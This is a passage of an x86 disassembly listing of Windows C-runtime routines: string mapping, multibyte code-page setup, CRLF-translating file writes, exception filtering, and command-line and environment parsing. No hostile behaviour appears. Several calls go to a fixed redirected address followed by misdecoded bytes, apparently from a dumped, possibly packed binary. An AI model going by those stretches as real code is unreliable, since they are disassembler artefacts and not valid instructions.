mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419FA3: ; CODE XREF: seg000:00419F61j
mov dword ptr [ebp-4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_413E30
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-20h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_419FD7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_419FD7: ; CODE XREF: seg000:00419FC3j
cmp ebx, edi
jz short loc_419F8F
push esi
push ebx
push dword ptr [ebp-1Ch]
push dword ptr [ebp-24h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call ds:dword_41F184 ; LCMapStringW
test eax, eax
jz short loc_419F8F
cmp [ebp+1Ch], edi
push edi
push edi
jnz short loc_419FFE
push edi
push edi
jmp short loc_41A004
; ---------------------------------------------------------------------------
loc_419FFE: ; CODE XREF: seg000:00419FF8j
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_41A004: ; CODE XREF: seg000:00419FFCj
push esi
push ebx
push 220h
push dword ptr [ebp+20h]
call ds:dword_41F128 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_419F8F
loc_41A01E: ; CODE XREF: seg000:00419F66j
; seg000:00419F89j
mov eax, esi
jmp loc_419F91
; =============== S U B R O U T I N E =======================================
sub_41A025 proc near ; CODE XREF: seg000:00419E82p
; sub_41D8D5+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_41A042
loc_41A035: ; CODE XREF: sub_41A025+1Bj
cmp byte ptr [eax], 0
jz short loc_41A042
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_41A035
loc_41A042: ; CODE XREF: sub_41A025+Ej
; sub_41A025+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_41A04D
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_41A04D: ; CODE XREF: sub_41A025+21j
mov eax, edx
retn
sub_41A025 endp
; ---------------------------------------------------------------------------
loc_41A050: ; CODE XREF: sub_41A414+Bp
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call sub_41A1E9
mov esi, eax
pop ecx
cmp esi, ds:dword_45FC24
mov [ebp+8], esi
jz loc_41A1DD
xor ebx, ebx
cmp esi, ebx
jz loc_41A1D3
xor edx, edx
mov eax, offset dword_42D470
loc_41A084: ; CODE XREF: seg000:0041A091j
cmp [eax], esi
jz short loc_41A0FA
add eax, 30h
inc edx
cmp eax, offset dword_42D560
jl short loc_41A084
lea eax, [ebp-18h]
push eax
push esi
call near ptr 0A70000h
cmp al, [ebx-7AF0FE08h]
and al, 1
; ---------------------------------------------------------------------------
db 2 dup(0), 6Ah
; ---------------------------------------------------------------------------
inc eax
xor eax, eax
pop ecx
mov edi, offset byte_45FD40
cmp dword ptr [ebp-18h], 1
mov ds:dword_45FC24, esi
rep stosd
stosb
mov ds:dword_45FE44, ebx
jbe loc_41A1B9
cmp byte ptr [ebp-12h], 0
jz loc_41A18F
lea ecx, [ebp-11h]
loc_41A0D7: ; CODE XREF: seg000:0041A189j
mov dl, [ecx]
test dl, dl
jz loc_41A18F
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41A0E8: ; CODE XREF: seg000:0041A0F8j
cmp eax, edx
ja loc_41A183
or ds:byte_45FD41[eax], 4
inc eax
jmp short loc_41A0E8
; ---------------------------------------------------------------------------
loc_41A0FA: ; CODE XREF: seg000:0041A086j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_45FD40
rep stosd
lea esi, [edx+edx*2]
mov [ebp-4], ebx
shl esi, 4
stosb
lea ebx, dword_42D480[esi]
loc_41A116: ; CODE XREF: seg000:0041A153j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41A149
loc_41A11D: ; CODE XREF: seg000:0041A147j
mov dl, [ecx+1]
test dl, dl
jz short loc_41A149
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41A142
mov edx, [ebp-4]
mov dl, ds:byte_42D468[edx]
loc_41A137: ; CODE XREF: seg000:0041A140j
or ds:byte_45FD41[eax], dl
inc eax
cmp eax, edi
jbe short loc_41A137
loc_41A142: ; CODE XREF: seg000:0041A12Cj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41A11D
loc_41A149: ; CODE XREF: seg000:0041A11Bj
; seg000:0041A122j
inc dword ptr [ebp-4]
add ebx, 8
cmp dword ptr [ebp-4], 4
jb short loc_41A116
mov eax, [ebp+8]
mov ds:dword_45FC3C, 1
push eax
mov ds:dword_45FC24, eax
call sub_41A233
lea esi, dword_42D474[esi]
mov edi, offset dword_45FC30
movsd
movsd
pop ecx
mov ds:dword_45FE44, eax
movsd
jmp short loc_41A1D8
; ---------------------------------------------------------------------------
loc_41A183: ; CODE XREF: seg000:0041A0EAj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41A0D7
loc_41A18F: ; CODE XREF: seg000:0041A0CEj
; seg000:0041A0DBj
push 1
pop eax
loc_41A192: ; CODE XREF: seg000:0041A19Fj
or ds:byte_45FD41[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41A192
push esi
call sub_41A233
pop ecx
mov ds:dword_45FE44, eax
mov ds:dword_45FC3C, 1
jmp short loc_41A1BF
; ---------------------------------------------------------------------------
loc_41A1B9: ; CODE XREF: seg000:0041A0C4j
mov ds:dword_45FC3C, ebx
loc_41A1BF: ; CODE XREF: seg000:0041A1B7j
xor eax, eax
mov edi, offset dword_45FC30
stosd
stosd
stosd
jmp short loc_41A1D8
; ---------------------------------------------------------------------------
cmp ds:dword_45E8B0, ebx
jz short loc_41A1E1
loc_41A1D3: ; CODE XREF: seg000:0041A077j
call sub_41A266
loc_41A1D8: ; CODE XREF: seg000:0041A181j
; seg000:0041A1C9j
call loc_41A28F
loc_41A1DD: ; CODE XREF: seg000:0041A06Dj
xor eax, eax
jmp short loc_41A1E4
; ---------------------------------------------------------------------------
loc_41A1E1: ; CODE XREF: seg000:0041A1D1j
or eax, 0FFFFFFFFh
loc_41A1E4: ; CODE XREF: seg000:0041A1DFj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41A1E9 proc near ; CODE XREF: seg000:0041A05Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and ds:dword_45E8B0, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_41A208+1
mov ds:dword_45E8B0, 1
call near ptr 0A70000h
loc_41A208: ; CODE XREF: sub_41A1E9+Ej
db 36h
cmp eax, 0FFFFFFFDh
jnz short near ptr loc_41A21D+1
mov ds:dword_45E8B0, 1
call near ptr 0A70000h
loc_41A21D: ; CODE XREF: sub_41A1E9+23j
add eax, [ebx+0F75FCF8h]
mov eax, ds:dword_45E8A8
mov ds:dword_45E8B0, 1
retn
sub_41A1E9 endp
; =============== S U B R O U T I N E =======================================
sub_41A233 proc near ; CODE XREF: seg000:0041A168p
; seg000:0041A1A2p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_41A260
sub eax, 4
jz short loc_41A25A
sub eax, 0Dh
jz short loc_41A254
dec eax
jz short loc_41A24E
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A24E: ; CODE XREF: sub_41A233+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_41A254: ; CODE XREF: sub_41A233+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_41A25A: ; CODE XREF: sub_41A233+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_41A260: ; CODE XREF: sub_41A233+9j
mov eax, 411h
retn
sub_41A233 endp
; =============== S U B R O U T I N E =======================================
sub_41A266 proc near ; CODE XREF: seg000:loc_41A1D3p
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_45FD40
rep stosd
stosb
xor eax, eax
mov edi, offset dword_45FC30
mov ds:dword_45FC24, eax
mov ds:dword_45FC3C, eax
mov ds:dword_45FE44, eax
stosd
stosd
stosd
pop edi
retn
sub_41A266 endp
; ---------------------------------------------------------------------------
loc_41A28F: ; CODE XREF: seg000:loc_41A1D8p
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp-14h]
push esi
push eax
push ds:dword_45FC24
call near ptr 0A70000h
add al, 83h
clc
add [edi], ecx
test [esi], edx
add [eax], eax
add [ebx], dh
sar byte ptr [esi+100h], 88h ; CODE XREF: seg000:0041A2C3j
test ds:0FFFFFEECh, al
inc eax
cmp eax, esi
jb short near ptr loc_41A2B3+6
mov al, [ebp-0Eh]
mov byte ptr [ebp-114h], 20h
test al, al
jz short loc_41A30A
push ebx
push edi
lea edx, [ebp-0Dh]
loc_41A2D8: ; CODE XREF: seg000:0041A306j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_41A2FF
sub ecx, eax
lea edi, [ebp+eax-114h]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_41A2FF: ; CODE XREF: seg000:0041A2E0j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_41A2D8
pop edi
pop ebx
loc_41A30A: ; CODE XREF: seg000:0041A2D1j
push 0
lea eax, [ebp-514h]
push ds:dword_45FE44
push ds:dword_45FC24
push eax
lea eax, [ebp-114h]
push esi
push eax
push 1
call loc_41B287
push 0
lea eax, [ebp-214h]
push ds:dword_45FC24
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push esi
push ds:dword_45FE44
call loc_419E01
push 0
lea eax, [ebp-314h]
push ds:dword_45FC24
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push 200h
push ds:dword_45FE44
call loc_419E01
add esp, 5Ch
xor eax, eax
lea ecx, [ebp-514h]
loc_41A385: ; CODE XREF: seg000:0041A3C4j
mov dx, [ecx]
test dl, 1
jz short loc_41A3A3
or ds:byte_45FD41[eax], 10h
mov dl, [ebp+eax-214h]
loc_41A39B: ; CODE XREF: seg000:0041A3B6j
mov ds:byte_45FC40[eax], dl
jmp short loc_41A3BF
; ---------------------------------------------------------------------------
loc_41A3A3: ; CODE XREF: seg000:0041A38Bj
test dl, 2
jz short loc_41A3B8
or ds:byte_45FD41[eax], 20h
mov dl, [ebp+eax-314h]
jmp short loc_41A39B
; ---------------------------------------------------------------------------
loc_41A3B8: ; CODE XREF: seg000:0041A3A6j
and ds:byte_45FC40[eax], 0
loc_41A3BF: ; CODE XREF: seg000:0041A3A1j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_41A385
jmp short loc_41A411
; ---------------------------------------------------------------------------
xor eax, eax
mov esi, 100h
loc_41A3CF: ; CODE XREF: seg000:0041A40Fj
cmp eax, 41h
jb short loc_41A3ED
cmp eax, 5Ah
ja short loc_41A3ED
or ds:byte_45FD41[eax], 10h
mov cl, al
add cl, 20h
loc_41A3E5: ; CODE XREF: seg000:0041A403j
mov ds:byte_45FC40[eax], cl
jmp short loc_41A40C
; ---------------------------------------------------------------------------
loc_41A3ED: ; CODE XREF: seg000:0041A3D2j
; seg000:0041A3D7j
cmp eax, 61h
jb short loc_41A405
cmp eax, 7Ah
ja short loc_41A405
or ds:byte_45FD41[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_41A3E5
; ---------------------------------------------------------------------------
loc_41A405: ; CODE XREF: seg000:0041A3F0j
; seg000:0041A3F5j
and ds:byte_45FC40[eax], 0
loc_41A40C: ; CODE XREF: seg000:0041A3EBj
inc eax
cmp eax, esi
jb short loc_41A3CF
loc_41A411: ; CODE XREF: seg000:0041A3C6j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41A414 proc near ; CODE XREF: sub_41A852+9p
; sub_41A8AA+Dp ...
cmp ds:dword_45FE6C, 0
jnz short locret_41A42F
push 0FFFFFFFDh
call loc_41A050
pop ecx
mov ds:dword_45FE6C, 1
locret_41A42F: ; CODE XREF: sub_41A414+7j
retn
sub_41A414 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A430 proc near ; CODE XREF: sub_4153D8+2Bp
; sub_4153D8+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_45FC3C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_41A454
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_414DD0
add esp, 0Ch
jmp short loc_41A4B7
; ---------------------------------------------------------------------------
loc_41A454: ; CODE XREF: sub_41A430+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_41A499
mov ecx, [ebp+arg_4]
loc_41A45F: ; CODE XREF: sub_41A430+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test ds:byte_45FD41[esi], 4
mov [edi], al
jz short loc_41A483
inc edi
inc ecx
test edx, edx
jz short loc_41A48F
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_41A495
jmp short loc_41A489
; ---------------------------------------------------------------------------
loc_41A483: ; CODE XREF: sub_41A430+3Ej
inc edi
inc ecx
test al, al
jz short loc_41A499
loc_41A489: ; CODE XREF: sub_41A430+51j
test edx, edx
jnz short loc_41A45F
jmp short loc_41A499
; ---------------------------------------------------------------------------
loc_41A48F: ; CODE XREF: sub_41A430+44j
and byte ptr [edi-1], 0
jmp short loc_41A499
; ---------------------------------------------------------------------------
loc_41A495: ; CODE XREF: sub_41A430+4Fj
and byte ptr [edi-2], 0
loc_41A499: ; CODE XREF: sub_41A430+2Aj
; sub_41A430+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_41A4B4
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_41A4B4: ; CODE XREF: sub_41A430+6Fj
mov eax, [ebp+arg_0]
loc_41A4B7: ; CODE XREF: sub_41A430+22j
pop edi
pop ebp
retn
sub_41A430 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A4BA proc near ; CODE XREF: sub_41568F+A2p
; sub_415CC7+95p ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, ds:dword_45FC20
push esi
push edi
jnb loc_41A64E
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:45FB20h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_41A64E
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_41A50B
loc_41A504: ; CODE XREF: sub_41A4BA+177j
xor eax, eax
jmp loc_41A662
; ---------------------------------------------------------------------------
loc_41A50B: ; CODE XREF: sub_41A4BA+48j
test al, 20h
jz short loc_41A51B
push 2
push edi
push ecx
call sub_419C0F
add esp, 0Ch
loc_41A51B: ; CODE XREF: sub_41A4BA+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_41A5EA
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_41A622
loc_41A53B: ; CODE XREF: sub_41A4BA+F5j
lea eax, [ebp+var_414]
loc_41A541: ; CODE XREF: sub_41A4BA+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_41A575
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_41A560
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_41A560: ; CODE XREF: sub_41A4BA+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_41A541
loc_41A575: ; CODE XREF: sub_41A4BA+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 0A70000h
xor al, 85h
sal byte ptr [ebx+eax*2-75h], 45h
hlt
; ---------------------------------------------------------------------------
add [ebp+var_8], eax
cmp eax, edi
jl short loc_41A5B1
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_41A53B
loc_41A5B1: ; CODE XREF: sub_41A4BA+EAj
; sub_41A4BA+12Ej
xor edi, edi
loc_41A5B3: ; CODE XREF: sub_41A4BA+150j
; sub_41A4BA+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_41A649
cmp [ebp+arg_0], edi
jz short loc_41A622
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_41A617
mov ds:dword_45E804, 9
mov ds:dword_45E808, eax
jmp loc_41A65F
; ---------------------------------------------------------------------------
call ds:dword_41F068 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41A5B1
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A4BA+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
call near ptr 0A70000h
pop esi
test eax, eax
jz short loc_41A60C
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_41A5B3
; ---------------------------------------------------------------------------
loc_41A60C: ; CODE XREF: sub_41A4BA+145j
call ds:dword_41F068 ; RtlGetLastWin32Error
mov [ebp+arg_0], eax
jmp short loc_41A5B3
; ---------------------------------------------------------------------------
loc_41A617: ; CODE XREF: sub_41A4BA+10Fj
push [ebp+arg_0]
call sub_41A667
pop ecx
jmp short loc_41A65F
; ---------------------------------------------------------------------------
loc_41A622: ; CODE XREF: sub_41A4BA+7Bj
; sub_41A4BA+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_41A637
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_41A504
loc_41A637: ; CODE XREF: sub_41A4BA+16Fj
mov ds:dword_45E804, 1Ch
mov ds:dword_45E808, edi
jmp short loc_41A65F
; ---------------------------------------------------------------------------
loc_41A649: ; CODE XREF: sub_41A4BA+FEj
sub eax, [ebp+var_10]
jmp short loc_41A662
; ---------------------------------------------------------------------------
loc_41A64E: ; CODE XREF: sub_41A4BA+15j
; sub_41A4BA+37j
and ds:dword_45E808, 0
mov ds:dword_45E804, 9
loc_41A65F: ; CODE XREF: sub_41A4BA+120j
; sub_41A4BA+166j ...
or eax, 0FFFFFFFFh
loc_41A662: ; CODE XREF: sub_41A4BA+4Cj
; sub_41A4BA+192j
pop edi
pop esi
pop ebx
leave
retn
sub_41A4BA endp
; =============== S U B R O U T I N E =======================================
sub_41A667 proc near ; CODE XREF: sub_415799+16p
; sub_41598C+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov ds:dword_45E808, ecx
mov eax, offset dword_42D560
loc_41A678: ; CODE XREF: sub_41A667+1Ej
cmp ecx, [eax]
jz short loc_41A69C
add eax, 8
inc edx
cmp eax, offset dword_42D6C8
jl short loc_41A678
cmp ecx, 13h
jb short loc_41A6A9
cmp ecx, 24h
ja short loc_41A6A9
mov ds:dword_45E804, 0Dh
retn
; ---------------------------------------------------------------------------
loc_41A69C: ; CODE XREF: sub_41A667+13j
mov eax, ds:dword_42D564[edx*8]
mov ds:dword_45E804, eax
retn
; ---------------------------------------------------------------------------
loc_41A6A9: ; CODE XREF: sub_41A667+23j
; sub_41A667+28j
cmp ecx, 0BCh
jb short loc_41A6C3
cmp ecx, 0CAh
mov ds:dword_45E804, 8
jbe short locret_41A6CD
loc_41A6C3: ; CODE XREF: sub_41A667+48j
mov ds:dword_45E804, 16h
locret_41A6CD: ; CODE XREF: sub_41A667+5Aj
retn
sub_41A667 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6CE proc near ; CODE XREF: seg000:00415C6Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push [ebp+arg_0]
call sub_41A80F
test eax, eax
pop ecx
jz loc_41A803
mov ebx, [eax+8]
test ebx, ebx
jz loc_41A803
cmp ebx, 5
jnz short loc_41A6FF
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_41A80C
; ---------------------------------------------------------------------------
loc_41A6FF: ; CODE XREF: sub_41A6CE+23j
cmp ebx, 1
jz loc_41A7FE
mov ecx, ds:dword_45E8B4
mov [ebp+arg_0], ecx
mov ecx, [ebp+arg_4]
mov ds:dword_45E8B4, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_41A7EE
mov ecx, ds:dword_42D740
mov edx, ds:dword_42D744
add edx, ecx
push esi
cmp ecx, edx
jge short loc_41A74E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:42D6D0h[esi*4]
loc_41A745: ; CODE XREF: sub_41A6CE+7Ej
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_41A745
loc_41A74E: ; CODE XREF: sub_41A6CE+69j
mov eax, [eax]
mov esi, ds:dword_42D74C
cmp eax, 0C000008Eh
jnz short loc_41A769
mov ds:dword_42D74C, 83h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A769: ; CODE XREF: sub_41A6CE+8Dj
cmp eax, 0C0000090h
jnz short loc_41A77C
mov ds:dword_42D74C, 81h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A77C: ; CODE XREF: sub_41A6CE+A0j
cmp eax, 0C0000091h
jnz short loc_41A78F
mov ds:dword_42D74C, 84h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A78F: ; CODE XREF: sub_41A6CE+B3j
cmp eax, 0C0000093h
jnz short loc_41A7A2
mov ds:dword_42D74C, 85h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A7A2: ; CODE XREF: sub_41A6CE+C6j
cmp eax, 0C000008Dh
jnz short loc_41A7B5
mov ds:dword_42D74C, 82h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A7B5: ; CODE XREF: sub_41A6CE+D9j
cmp eax, 0C000008Fh
jnz short loc_41A7C8
mov ds:dword_42D74C, 86h
jmp short loc_41A7D9
; ---------------------------------------------------------------------------
loc_41A7C8: ; CODE XREF: sub_41A6CE+ECj
cmp eax, 0C0000092h
jnz short loc_41A7D9
mov ds:dword_42D74C, 8Ah
loc_41A7D9: ; CODE XREF: sub_41A6CE+99j
; sub_41A6CE+ACj ...
push ds:dword_42D74C
push 8
call ebx
pop ecx
mov ds:dword_42D74C, esi
pop ecx
pop esi
jmp short loc_41A7F6
; ---------------------------------------------------------------------------
loc_41A7EE: ; CODE XREF: sub_41A6CE+52j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_41A7F6: ; CODE XREF: sub_41A6CE+11Ej
mov eax, [ebp+arg_0]
mov ds:dword_45E8B4, eax
loc_41A7FE: ; CODE XREF: sub_41A6CE+34j
or eax, 0FFFFFFFFh
jmp short loc_41A80C
; ---------------------------------------------------------------------------
loc_41A803: ; CODE XREF: sub_41A6CE+Fj
; sub_41A6CE+1Aj
push [ebp+arg_4]
call ds:dword_41F194 ; UnhandledExceptionFilter
loc_41A80C: ; CODE XREF: sub_41A6CE+2Cj
; sub_41A6CE+133j
pop ebx
pop ebp
retn
sub_41A6CE endp
; =============== S U B R O U T I N E =======================================
sub_41A80F proc near ; CODE XREF: sub_41A6CE+7p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, ds:dword_42D748
cmp ds:dword_42D6C8, edx
push esi
mov eax, offset dword_42D6C8
jz short loc_41A83C
lea esi, [ecx+ecx*2]
lea esi, ds:42D6C8h[esi*4]
loc_41A831: ; CODE XREF: sub_41A80F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_41A83C
cmp [eax], edx
jnz short loc_41A831
loc_41A83C: ; CODE XREF: sub_41A80F+16j
; sub_41A80F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:42D6C8h[ecx*4]
cmp eax, ecx
jnb short loc_41A84F
cmp [eax], edx
jz short locret_41A851
loc_41A84F: ; CODE XREF: sub_41A80F+3Aj
xor eax, eax
locret_41A851: ; CODE XREF: sub_41A80F+3Ej
retn
sub_41A80F endp
; =============== S U B R O U T I N E =======================================
sub_41A852 proc near ; CODE XREF: seg000:00415C2Dp
cmp ds:dword_45FE6C, 0
jnz short loc_41A860
call sub_41A414
loc_41A860: ; CODE XREF: sub_41A852+7j
push esi
mov esi, ds:dword_45FE64
mov al, [esi]
cmp al, 22h
jnz short loc_41A892
loc_41A86D: ; CODE XREF: sub_41A852+33j
; sub_41A852+36j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_41A88A
test al, al
jz short loc_41A88A
movzx eax, al
push eax
call sub_41C73C
test eax, eax
pop ecx
jz short loc_41A86D
inc esi
jmp short loc_41A86D
; ---------------------------------------------------------------------------
loc_41A88A: ; CODE XREF: sub_41A852+21j
; sub_41A852+25j
cmp byte ptr [esi], 22h
jnz short loc_41A89C
loc_41A88F: ; CODE XREF: sub_41A852+52j
inc esi
jmp short loc_41A89C
; ---------------------------------------------------------------------------
loc_41A892: ; CODE XREF: sub_41A852+19j
cmp al, 20h
jbe short loc_41A89C
loc_41A896: ; CODE XREF: sub_41A852+48j
inc esi
cmp byte ptr [esi], 20h
ja short loc_41A896
loc_41A89C: ; CODE XREF: sub_41A852+3Bj
; sub_41A852+3Ej ...
mov al, [esi]
test al, al
jz short loc_41A8A6
cmp al, 20h
jbe short loc_41A88F
loc_41A8A6: ; CODE XREF: sub_41A852+4Ej
mov eax, esi
pop esi
retn
sub_41A852 endp
; =============== S U B R O U T I N E =======================================
sub_41A8AA proc near ; CODE XREF: seg000:00415C16p
push ebx
xor ebx, ebx
cmp ds:dword_45FE6C, ebx
push esi
push edi
jnz short loc_41A8BC
call sub_41A414
loc_41A8BC: ; CODE XREF: sub_41A8AA+Bj
mov esi, ds:dword_45E850
xor edi, edi
loc_41A8C4: ; CODE XREF: sub_41A8AA+30j
mov al, [esi]
cmp al, bl
jz short loc_41A8DC
cmp al, 3Dh
jz short loc_41A8CF
inc edi
loc_41A8CF: ; CODE XREF: sub_41A8AA+22j
push esi
call sub_413DB0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_41A8C4
; ---------------------------------------------------------------------------
loc_41A8DC: ; CODE XREF: sub_41A8AA+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_413E5F
mov esi, eax
pop ecx
cmp esi, ebx
mov ds:dword_45E82C, esi
jnz short loc_41A8FE
push 9
call sub_415C7E
pop ecx
loc_41A8FE: ; CODE XREF: sub_41A8AA+4Aj
mov edi, ds:dword_45E850
cmp [edi], bl
jz short loc_41A941
push ebp
loc_41A909: ; CODE XREF: sub_41A8AA+94j
push edi
call sub_413DB0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_41A93A
push ebp
call sub_413E5F
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_41A92D
push 9
call sub_415C7E
pop ecx
loc_41A92D: ; CODE XREF: sub_41A8AA+79j
push edi
push dword ptr [esi]
call sub_413CC0
pop ecx
add esi, 4
pop ecx
loc_41A93A: ; CODE XREF: sub_41A8AA+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_41A909
pop ebp
loc_41A941: ; CODE XREF: sub_41A8AA+5Cj
push ds:dword_45E850
call sub_413ED3
pop ecx
mov ds:dword_45E850, ebx
mov [esi], ebx
pop edi
pop esi
mov ds:dword_45FE68, 1
pop ebx
retn
sub_41A8AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A963 proc near ; CODE XREF: seg000:00415C11p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp ds:dword_45FE6C, ebx
push esi
push edi
jnz short loc_41A97A
call sub_41A414
loc_41A97A: ; CODE XREF: sub_41A963+10j
mov esi, offset dword_45E8B8
push 104h
push esi
push ebx
call near ptr 0A70000h
mov eax, cs:dword_45FE64
mov ds:dword_45E83C, esi
mov edi, esi
cmp [eax], bl
jz short loc_41A99F
mov edi, eax
loc_41A99F: ; CODE XREF: sub_41A963+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_41A9FC
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_413E5F
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_41A9CF
push 8
call sub_415C7E
pop ecx
loc_41A9CF: ; CODE XREF: sub_41A963+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
